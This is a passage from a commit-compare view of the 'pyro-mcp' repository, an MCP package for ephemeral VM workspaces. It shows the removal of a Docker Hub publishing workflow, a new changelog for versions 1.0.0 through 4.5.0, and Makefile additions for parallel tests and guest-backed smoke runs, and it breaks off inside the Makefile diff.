Compare commits
49 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| aeed5e1943 | |||
| 663241d5d2 | |||
| d0cf6d8f21 | |||
| dc86d84e96 | |||
| 899a6760c4 | |||
| 535efc6919 | |||
| 9b9b83ebeb | |||
| 999fe1b23a | |||
| 6433847185 | |||
| 386b9793ee | |||
| c00c699a9f | |||
| 68d8e875e0 | |||
| 79a7d71d3b | |||
| cc5f566bcc | |||
| d05fba6c15 | |||
| 22d284b1f5 | |||
| 407c805ce2 | |||
| 7a0620fc0c | |||
| 788fc4fad4 | |||
| 894706af50 | |||
| 21a88312b6 | |||
| eecfd7a7d7 | |||
| 446f7fce04 | |||
| ab02ae46c7 | |||
| dbb71a3174 | |||
| 287f6d100f | |||
| f2d20ef30a | |||
| c82f4629b2 | |||
| fc72fcd3a1 | |||
| 18b8fd2a7d | |||
| f504f0a331 | |||
| 84a7e18d4d | |||
| 3f8293ad24 | |||
| 2de31306b6 | |||
| 48b82d8386 | |||
| f57454bcb4 | |||
| dccc2152e3 | |||
| 9e11dcf9ab | |||
| aa886b346e | |||
| 58df176148 | |||
| 6e16e74fd5 | |||
| 694be0730b | |||
| 81636e86fb | |||
| 0181de2563 | |||
| 895cb608c0 | |||
| be654b5b41 | |||
| b2ea56db4c | |||
| 38b6aeba68 | |||
| 5d63e4c16e |
125 changed files with 36172 additions and 780 deletions
45
.github/workflows/publish-environments.yml
vendored
45
.github/workflows/publish-environments.yml
vendored
|
|
@ -1,45 +0,0 @@
|
||||||
name: Publish Environments
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
release:
|
|
||||||
types:
|
|
||||||
- published
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
contents: read
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: publish-environments-${{ github.ref }}
|
|
||||||
cancel-in-progress: false
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
publish:
|
|
||||||
runs-on: ubuntu-24.04
|
|
||||||
env:
|
|
||||||
UV_CACHE_DIR: .uv-cache
|
|
||||||
OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
|
|
||||||
OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
steps:
|
|
||||||
- name: Check out source
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: "3.12"
|
|
||||||
|
|
||||||
- name: Set up uv
|
|
||||||
uses: astral-sh/setup-uv@v6
|
|
||||||
|
|
||||||
- name: Install project dependencies
|
|
||||||
run: make setup
|
|
||||||
|
|
||||||
- name: Run project checks
|
|
||||||
run: make check
|
|
||||||
|
|
||||||
- name: Build real runtime inputs
|
|
||||||
run: make runtime-materialize
|
|
||||||
|
|
||||||
- name: Publish official environments to Docker Hub
|
|
||||||
run: make runtime-publish-official-environments-oci
|
|
||||||
|
|
@ -30,10 +30,11 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif
|
||||||
- Use `make doctor` to inspect bundled runtime integrity and host prerequisites.
|
- Use `make doctor` to inspect bundled runtime integrity and host prerequisites.
|
||||||
- Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available.
|
- Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available.
|
||||||
- If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`.
|
- If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`.
|
||||||
|
- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed.
|
||||||
- After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`.
|
- After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`.
|
||||||
- The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable.
|
- The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable.
|
||||||
- Public contract documentation lives in `docs/public-contract.md`.
|
- Public contract documentation lives in `docs/public-contract.md`.
|
||||||
- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`.
|
- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`.
|
||||||
|
|
||||||
## Quality Gates
|
## Quality Gates
|
||||||
|
|
||||||
|
|
|
||||||
328
CHANGELOG.md
Normal file
328
CHANGELOG.md
Normal file
|
|
@ -0,0 +1,328 @@
|
||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable user-visible changes to `pyro-mcp` are documented here.
|
||||||
|
|
||||||
|
## 4.5.0
|
||||||
|
|
||||||
|
- Added `pyro prepare` as the machine-level warmup path for the daily local
|
||||||
|
loop, with cached reuse when the runtime, catalog, and environment state are
|
||||||
|
already warm.
|
||||||
|
- Extended `pyro doctor` with daily-loop readiness output so users can see
|
||||||
|
whether the machine is cold, warm, or stale for `debian:12` before they
|
||||||
|
reconnect a chat host.
|
||||||
|
- Added `make smoke-daily-loop` to prove the warmed repro/fix/reset path end
|
||||||
|
to end on a real guest-backed machine.
|
||||||
|
|
||||||
|
## 4.4.0
|
||||||
|
|
||||||
|
- Added explicit named MCP/server modes for the main workspace workflows:
|
||||||
|
`repro-fix`, `inspect`, `cold-start`, and `review-eval`.
|
||||||
|
- Kept the generic no-mode `workspace-core` path available as the escape hatch,
|
||||||
|
while making named modes the first user-facing story across help text, host
|
||||||
|
helpers, and the recipe docs.
|
||||||
|
- Aligned the shared use-case smoke runner with those modes so the repro/fix
|
||||||
|
and cold-start flows now prove a mode-backed happy path instead of only the
|
||||||
|
generic profile path.
|
||||||
|
|
||||||
|
## 4.3.0
|
||||||
|
|
||||||
|
- Added `pyro workspace summary`, `Pyro.summarize_workspace()`, and MCP
|
||||||
|
`workspace_summary` so users and chat hosts can review a concise view of the
|
||||||
|
current workspace session since the last reset.
|
||||||
|
- Added a lightweight review-event log for edits, syncs, exports, service
|
||||||
|
lifecycle, and snapshot activity without duplicating the command journal.
|
||||||
|
- Updated the main workspace walkthroughs and review/eval recipe so
|
||||||
|
`workspace summary` is the first review surface before dropping down to raw
|
||||||
|
diffs, logs, and exported files.
|
||||||
|
|
||||||
|
## 4.2.0
|
||||||
|
|
||||||
|
- Added host bootstrap and repair helpers with `pyro host connect`,
|
||||||
|
`pyro host print-config`, `pyro host doctor`, and `pyro host repair` for the
|
||||||
|
supported Claude Code, Codex, and OpenCode flows.
|
||||||
|
- Repositioned the docs and examples so supported hosts now start from the
|
||||||
|
helper flow first, while keeping raw `pyro mcp serve` commands as the
|
||||||
|
underlying MCP entrypoint and advanced fallback.
|
||||||
|
- Added deterministic host-helper coverage so the shipped helper commands and
|
||||||
|
OpenCode config snippet stay aligned with the canonical `pyro mcp serve`
|
||||||
|
command shape.
|
||||||
|
|
||||||
|
## 4.1.0
|
||||||
|
|
||||||
|
- Added project-aware MCP startup so bare `pyro mcp serve` from a repo root can
|
||||||
|
auto-detect the current Git checkout and let `workspace_create` omit
|
||||||
|
`seed_path` safely.
|
||||||
|
- Added explicit fallback startup flags for chat hosts that do not preserve the
|
||||||
|
server working directory: `--project-path`, `--repo-url`, `--repo-ref`, and
|
||||||
|
`--no-project-source`.
|
||||||
|
- Extended workspace seed metadata with startup origin fields so chat-facing
|
||||||
|
workspace creation can show whether a workspace came from a manual seed path,
|
||||||
|
the current project, or a clean cloned repo source.
|
||||||
|
|
||||||
|
## 4.0.0
|
||||||
|
|
||||||
|
- Flipped the default MCP/server profile from `workspace-full` to
|
||||||
|
`workspace-core`, so bare `pyro mcp serve`, `create_server()`, and
|
||||||
|
`Pyro.create_server()` now match the recommended narrow chat-host path.
|
||||||
|
- Rewrote MCP-facing docs and shipped host-specific examples so the normal
|
||||||
|
setup path no longer needs an explicit `--profile workspace-core` just to
|
||||||
|
get the default behavior.
|
||||||
|
- Added migration guidance for hosts that relied on the previous implicit full
|
||||||
|
surface: they now need `--profile workspace-full` or
|
||||||
|
`create_server(profile=\"workspace-full\")`.
|
||||||
|
## 3.11.0
|
||||||
|
|
||||||
|
- Added first-class host-specific MCP onramps for Claude Code, Codex, and
|
||||||
|
OpenCode so major chat-host users can copy one exact setup example instead of
|
||||||
|
translating the generic MCP config by hand.
|
||||||
|
- Reordered the main integration docs and examples so host-specific MCP setup
|
||||||
|
appears before the generic `mcpServers` fallback, while keeping
|
||||||
|
`workspace-core` as the recommended first profile everywhere user-facing.
|
||||||
|
- Kept Claude Desktop and Cursor as generic fallback examples instead of the
|
||||||
|
primary onramp path.
|
||||||
|
|
||||||
|
## 3.10.0
|
||||||
|
|
||||||
|
- Aligned the five guest-backed workspace smoke scenarios with the recipe docs
|
||||||
|
they advertise, so the smoke pack now follows the documented canonical user
|
||||||
|
paths instead of mixing in harness-only CLI formatting checks.
|
||||||
|
- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly,
|
||||||
|
removing its dependency on brittle human `[workspace-patch] ...` output.
|
||||||
|
- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed
|
||||||
|
verification path for the advertised workspace workflows.
|
||||||
|
|
||||||
|
## 3.9.0
|
||||||
|
|
||||||
|
- Added `--content-only` to `pyro workspace file read` and
|
||||||
|
`pyro workspace disk read` so copy-paste flows and chat transcripts can emit
|
||||||
|
only file content without the human summary footer.
|
||||||
|
- Polished default human read output so content without a trailing newline is
|
||||||
|
still separated cleanly from the summary line in merged terminal logs.
|
||||||
|
- Updated the stable walkthroughs and contract docs to use content-only reads
|
||||||
|
where plain file content is the intended output.
|
||||||
|
|
||||||
|
## 3.8.0
|
||||||
|
|
||||||
|
- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the
|
||||||
|
recommended first profile across `pyro mcp serve --help`, the README, install
|
||||||
|
docs, first-run docs, and shipped MCP config examples.
|
||||||
|
- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the
|
||||||
|
public guidance to frame it as the advanced/compatibility surface instead of
|
||||||
|
the default recommendation.
|
||||||
|
- Promoted the `workspace-core` OpenAI example and added a minimal chat-host
|
||||||
|
quickstart near the top-level product docs so new integrators no longer need
|
||||||
|
to read deep integration docs before choosing the right profile.
|
||||||
|
|
||||||
|
## 3.7.0
|
||||||
|
|
||||||
|
- Added CLI handoff shortcuts with `pyro workspace create --id-only` and
|
||||||
|
`pyro workspace shell open --id-only` so shell scripts and walkthroughs can
|
||||||
|
capture identifiers without JSON parsing glue.
|
||||||
|
- Added file-backed text inputs for `pyro workspace file write --text-file` and
|
||||||
|
`pyro workspace patch apply --patch-file`, keeping the existing `--text` and
|
||||||
|
`--patch` behavior stable while removing `$(cat ...)` shell expansion from
|
||||||
|
the canonical flows.
|
||||||
|
- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs
|
||||||
|
around the new shortcut flags, and updated the real guest-backed repro/fix
|
||||||
|
smoke to exercise a file-backed patch input through the CLI.
|
||||||
|
|
||||||
|
## 3.6.0
|
||||||
|
|
||||||
|
- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation,
|
||||||
|
repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows.
|
||||||
|
- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one
|
||||||
|
`make smoke-...` target per scenario, all backed by the shared
|
||||||
|
`scripts/workspace_use_case_smoke.py` runner.
|
||||||
|
- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set
|
||||||
|
and the smoke packs as the next step after first-run validation.
|
||||||
|
|
||||||
|
## 3.5.0
|
||||||
|
|
||||||
|
- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI,
|
||||||
|
Python SDK, and MCP server so PTY sessions can be fed back into a chat model without
|
||||||
|
client-side ANSI cleanup.
|
||||||
|
- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side
|
||||||
|
output rendering and idle batching on top of the existing guest/backend shell transport.
|
||||||
|
- Updated the stable shell examples and docs to recommend `workspace shell read --plain
|
||||||
|
--wait-for-idle-ms 300` for model-facing interactive loops.
|
||||||
|
|
||||||
|
## 3.4.0
|
||||||
|
|
||||||
|
- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
|
||||||
|
`workspace-full` so chat hosts can expose only the right model-facing surface.
|
||||||
|
- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on
|
||||||
|
`Pyro.create_server()` and the package-level `create_server()` factory.
|
||||||
|
- Added canonical `workspace-core` integration examples for OpenAI Responses
|
||||||
|
and MCP client configuration, and narrowed the `workspace-core` schemas so
|
||||||
|
secrets, network policy, shells, services, snapshots, and disk tools stay out
|
||||||
|
of the default persistent chat profile.
|
||||||
|
|
||||||
|
## 3.3.0
|
||||||
|
|
||||||
|
- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server
|
||||||
|
with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`,
|
||||||
|
`Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` /
|
||||||
|
`workspace_update` MCP tools.
|
||||||
|
- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create,
|
||||||
|
status, reset, and update payloads, and surfaced compact workspace summaries from
|
||||||
|
`workspace list`.
|
||||||
|
- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can
|
||||||
|
resume the most recently used workspace without managing opaque IDs out of band.
|
||||||
|
|
||||||
|
## 3.2.0
|
||||||
|
|
||||||
|
- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server
|
||||||
|
with `workspace file list|read|write` so agents can inspect and edit text files without shell
|
||||||
|
quoting tricks or host-side temp-file glue.
|
||||||
|
- Added `workspace patch apply` for explicit unified text diff application under `/workspace`,
|
||||||
|
with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`.
|
||||||
|
- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing
|
||||||
|
diff/export/snapshot/service/shell model around the stable workspace product.
|
||||||
|
|
||||||
|
## 3.1.0
|
||||||
|
|
||||||
|
- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP
|
||||||
|
server so a persistent workspace can be paused and resumed without resetting `/workspace`,
|
||||||
|
snapshots, or command history.
|
||||||
|
- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and
|
||||||
|
`disk read` inspection for guest-backed workspaces.
|
||||||
|
- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
|
||||||
|
`/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools
|
||||||
|
stay secondary to the stable workspace product without leaking runtime-only state.
|
||||||
|
|
||||||
|
## 3.0.0
|
||||||
|
|
||||||
|
- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP
|
||||||
|
server, with `pyro run` retained as the stable one-shot entrypoint.
|
||||||
|
- Repositioned the main docs, help text, examples, and walkthrough assets around the stable
|
||||||
|
workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and
|
||||||
|
delete.
|
||||||
|
- Froze the `3.x` public contract around the current workspace surface without introducing new
|
||||||
|
runtime capability in this release.
|
||||||
|
|
||||||
|
## 2.10.0
|
||||||
|
|
||||||
|
- Replaced the workspace-level boolean network toggle with explicit workspace network policies:
|
||||||
|
`off`, `egress`, and `egress+published-ports`.
|
||||||
|
- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and
|
||||||
|
MCP server, including returned host/guest port metadata on service start, list, and status.
|
||||||
|
- Kept published ports attached to services rather than `/workspace` itself, so host probing works
|
||||||
|
without changing workspace diff, export, shell, or reset semantics.
|
||||||
|
|
||||||
|
## 2.9.0
|
||||||
|
|
||||||
|
- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with
|
||||||
|
`pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and
|
||||||
|
the matching `workspace_create` MCP inputs.
|
||||||
|
- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and
|
||||||
|
`workspace service start`, with secret values redacted from command output, shell reads, service
|
||||||
|
logs, and persisted workspace logs.
|
||||||
|
- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret
|
||||||
|
files outside `/workspace` across workspace creation and reset.
|
||||||
|
|
||||||
|
## 2.8.0
|
||||||
|
|
||||||
|
- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with
|
||||||
|
`pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` /
|
||||||
|
`delete_snapshot()`, and the matching `snapshot_*` MCP tools.
|
||||||
|
- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full
|
||||||
|
sandbox from the immutable baseline or one named snapshot while keeping the same identity.
|
||||||
|
- Made reset a full-sandbox recovery path that clears command history, shells, and services while
|
||||||
|
preserving the workspace spec, named snapshots, and immutable baseline.
|
||||||
|
|
||||||
|
## 2.7.0
|
||||||
|
|
||||||
|
- Added first-class workspace services across the CLI, Python SDK, and MCP server with
|
||||||
|
`pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` /
|
||||||
|
`logs_service()` / `stop_service()`, and the matching `service_*` MCP tools.
|
||||||
|
- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so
|
||||||
|
long-running processes can be started and inspected without relying on shell-fragile flows.
|
||||||
|
- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from
|
||||||
|
`workspace status` without polluting workspace diff or export semantics.
|
||||||
|
|
||||||
|
## 2.6.0
|
||||||
|
|
||||||
|
- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with
|
||||||
|
`pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`,
|
||||||
|
`Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools.
|
||||||
|
- Captured an immutable create-time baseline for every new workspace so later `workspace diff`
|
||||||
|
compares the live `/workspace` tree against that original seed state.
|
||||||
|
- Kept export and diff separate from command execution and shell state so workspaces can mutate,
|
||||||
|
be inspected, and copy results back to the host without affecting command logs or shell sessions.
|
||||||
|
|
||||||
|
## 2.5.0
|
||||||
|
|
||||||
|
- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with
|
||||||
|
`pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` /
|
||||||
|
`signal_shell()` / `close_shell()`, and `shell_*` MCP tools.
|
||||||
|
- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads
|
||||||
|
and explicit close/signal operations for long-lived workspace sessions.
|
||||||
|
- Updated the bundled guest agent and mock backend so shell sessions persist across separate
|
||||||
|
calls and are cleaned up automatically by `workspace delete`.
|
||||||
|
|
||||||
|
## 2.4.0
|
||||||
|
|
||||||
|
- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI,
|
||||||
|
Python SDK, and MCP server in one clean cut with no compatibility aliases.
|
||||||
|
- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping
|
||||||
|
later `workspace sync push` imports on `source_path`.
|
||||||
|
- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and
|
||||||
|
updated the main docs/examples to the workspace-first language.
|
||||||
|
|
||||||
|
## 2.3.0
|
||||||
|
|
||||||
|
- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can
|
||||||
|
import later host-side directory or archive content without being recreated.
|
||||||
|
- Reused the existing safe archive import path with an explicit destination under `/workspace`,
|
||||||
|
including host-side and guest-backed task support.
|
||||||
|
- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery
|
||||||
|
path if a sync fails partway through.
|
||||||
|
|
||||||
|
## 2.2.0
|
||||||
|
|
||||||
|
- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional
|
||||||
|
`source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives.
|
||||||
|
- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how
|
||||||
|
`/workspace` was initialized.
|
||||||
|
- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task
|
||||||
|
content import path for repeated command workflows.
|
||||||
|
|
||||||
|
## 2.1.0
|
||||||
|
|
||||||
|
- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server.
|
||||||
|
- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive
|
||||||
|
surface alongside the existing one-shot VM contract.
|
||||||
|
- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on
|
||||||
|
disk under the runtime base directory.
|
||||||
|
- Added per-task command journaling so repeated workspace commands can be inspected through
|
||||||
|
`pyro task logs` or the matching SDK/MCP methods.
|
||||||
|
|
||||||
|
## 2.0.1
|
||||||
|
|
||||||
|
- Fixed the default `pyro env pull` path so empty local profile directories no longer produce
|
||||||
|
broken cached installs or contradictory "Pulled" / "not installed" states.
|
||||||
|
- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled
|
||||||
|
and repaired on the next pull.
|
||||||
|
- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows
|
||||||
|
easier to follow from the CLI.
|
||||||
|
- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec`
|
||||||
|
auto-clean semantics.
|
||||||
|
|
||||||
|
## 2.0.0
|
||||||
|
|
||||||
|
- Made guest execution fail closed by default; host compatibility execution now requires
|
||||||
|
explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`.
|
||||||
|
- Switched the main CLI commands to human-readable output by default and kept `--json`
|
||||||
|
for structured output.
|
||||||
|
- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools.
|
||||||
|
- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`.
|
||||||
|
- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and
|
||||||
|
curated OCI-published environments.
|
||||||
|
|
||||||
|
## 1.0.0
|
||||||
|
|
||||||
|
- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract.
|
||||||
|
- Replaced the old bundled-profile model with curated named environments.
|
||||||
|
- Switched distribution to a thin Python package plus official OCI environment artifacts.
|
||||||
|
- Published the initial official environment catalog on public Docker Hub.
|
||||||
|
- Added first-party environment pull, inspect, prune, and one-shot run flows.
|
||||||
56
Makefile
56
Makefile
|
|
@ -1,5 +1,7 @@
|
||||||
PYTHON ?= uv run python
|
PYTHON ?= uv run python
|
||||||
UV_CACHE_DIR ?= .uv-cache
|
UV_CACHE_DIR ?= .uv-cache
|
||||||
|
PYTEST_WORKERS ?= $(shell sh -c 'n=$$(getconf _NPROCESSORS_ONLN 2>/dev/null || nproc 2>/dev/null || echo 2); if [ "$$n" -gt 8 ]; then n=8; fi; if [ "$$n" -lt 2 ]; then echo 1; else echo $$n; fi')
|
||||||
|
PYTEST_FLAGS ?= -n $(PYTEST_WORKERS)
|
||||||
OLLAMA_BASE_URL ?= http://localhost:11434/v1
|
OLLAMA_BASE_URL ?= http://localhost:11434/v1
|
||||||
OLLAMA_MODEL ?= llama3.2:3b
|
OLLAMA_MODEL ?= llama3.2:3b
|
||||||
OLLAMA_DEMO_FLAGS ?=
|
OLLAMA_DEMO_FLAGS ?=
|
||||||
|
|
@ -14,8 +16,11 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build
|
||||||
PYPI_DIST_DIR ?= dist
|
PYPI_DIST_DIR ?= dist
|
||||||
TWINE_USERNAME ?= __token__
|
TWINE_USERNAME ?= __token__
|
||||||
PYPI_REPOSITORY_URL ?=
|
PYPI_REPOSITORY_URL ?=
|
||||||
|
USE_CASE_ENVIRONMENT ?= debian:12
|
||||||
|
USE_CASE_SMOKE_FLAGS ?=
|
||||||
|
DAILY_LOOP_ENVIRONMENT ?= debian:12
|
||||||
|
|
||||||
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
|
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-daily-loop smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
|
||||||
|
|
||||||
help:
|
help:
|
||||||
@printf '%s\n' \
|
@printf '%s\n' \
|
||||||
|
|
@ -25,13 +30,20 @@ help:
|
||||||
' lint Run Ruff lint checks' \
|
' lint Run Ruff lint checks' \
|
||||||
' format Run Ruff formatter' \
|
' format Run Ruff formatter' \
|
||||||
' typecheck Run mypy' \
|
' typecheck Run mypy' \
|
||||||
' test Run pytest' \
|
' test Run pytest in parallel when multiple cores are available' \
|
||||||
' check Run lint, typecheck, and tests' \
|
' check Run lint, typecheck, and tests' \
|
||||||
' dist-check Smoke-test the installed pyro CLI and environment UX' \
|
' dist-check Smoke-test the installed pyro CLI and environment UX' \
|
||||||
' pypi-publish Build, validate, and upload the package to PyPI' \
|
' pypi-publish Build, validate, and upload the package to PyPI' \
|
||||||
' demo Run the deterministic VM demo' \
|
' demo Run the deterministic VM demo' \
|
||||||
' network-demo Run the deterministic VM demo with guest networking enabled' \
|
' network-demo Run the deterministic VM demo with guest networking enabled' \
|
||||||
' doctor Show runtime and host diagnostics' \
|
' doctor Show runtime and host diagnostics' \
|
||||||
|
' smoke-daily-loop Run the real guest-backed prepare plus reset daily-loop smoke' \
|
||||||
|
' smoke-use-cases Run all real guest-backed workspace use-case smokes' \
|
||||||
|
' smoke-cold-start-validation Run the cold-start repo validation smoke' \
|
||||||
|
' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \
|
||||||
|
' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \
|
||||||
|
' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \
|
||||||
|
' smoke-review-eval Run the review and evaluation workflow smoke' \
|
||||||
' ollama-demo Run the network-enabled Ollama lifecycle demo' \
|
' ollama-demo Run the network-enabled Ollama lifecycle demo' \
|
||||||
' run-server Run the MCP server' \
|
' run-server Run the MCP server' \
|
||||||
' install-hooks Install pre-commit hooks' \
|
' install-hooks Install pre-commit hooks' \
|
||||||
|
|
@ -68,18 +80,21 @@ typecheck:
|
||||||
uv run mypy
|
uv run mypy
|
||||||
|
|
||||||
test:
|
test:
|
||||||
uv run pytest
|
uv run pytest $(PYTEST_FLAGS)
|
||||||
|
|
||||||
check: lint typecheck test
|
check: lint typecheck test
|
||||||
|
|
||||||
dist-check:
|
dist-check:
|
||||||
.venv/bin/pyro --version
|
uv run python -m pyro_mcp.cli --version
|
||||||
.venv/bin/pyro --help >/dev/null
|
uv run python -m pyro_mcp.cli --help >/dev/null
|
||||||
.venv/bin/pyro mcp --help >/dev/null
|
uv run python -m pyro_mcp.cli prepare --help >/dev/null
|
||||||
.venv/bin/pyro run --help >/dev/null
|
uv run python -m pyro_mcp.cli host --help >/dev/null
|
||||||
.venv/bin/pyro env list >/dev/null
|
uv run python -m pyro_mcp.cli host doctor >/dev/null
|
||||||
.venv/bin/pyro env inspect debian:12 >/dev/null
|
uv run python -m pyro_mcp.cli mcp --help >/dev/null
|
||||||
.venv/bin/pyro doctor >/dev/null
|
uv run python -m pyro_mcp.cli run --help >/dev/null
|
||||||
|
uv run python -m pyro_mcp.cli env list >/dev/null
|
||||||
|
uv run python -m pyro_mcp.cli env inspect debian:12 >/dev/null
|
||||||
|
uv run python -m pyro_mcp.cli doctor --environment debian:12 >/dev/null
|
||||||
|
|
||||||
pypi-publish:
|
pypi-publish:
|
||||||
@if [ -z "$$TWINE_PASSWORD" ]; then \
|
@if [ -z "$$TWINE_PASSWORD" ]; then \
|
||||||
|
|
@ -104,6 +119,27 @@ network-demo:
|
||||||
doctor:
|
doctor:
|
||||||
uv run pyro doctor
|
uv run pyro doctor
|
||||||
|
|
||||||
|
smoke-daily-loop:
|
||||||
|
uv run python scripts/daily_loop_smoke.py --environment "$(DAILY_LOOP_ENVIRONMENT)"
|
||||||
|
|
||||||
|
smoke-use-cases:
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
|
smoke-cold-start-validation:
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
|
smoke-repro-fix-loop:
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
|
smoke-parallel-workspaces:
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
|
smoke-untrusted-inspection:
|
||||||
|
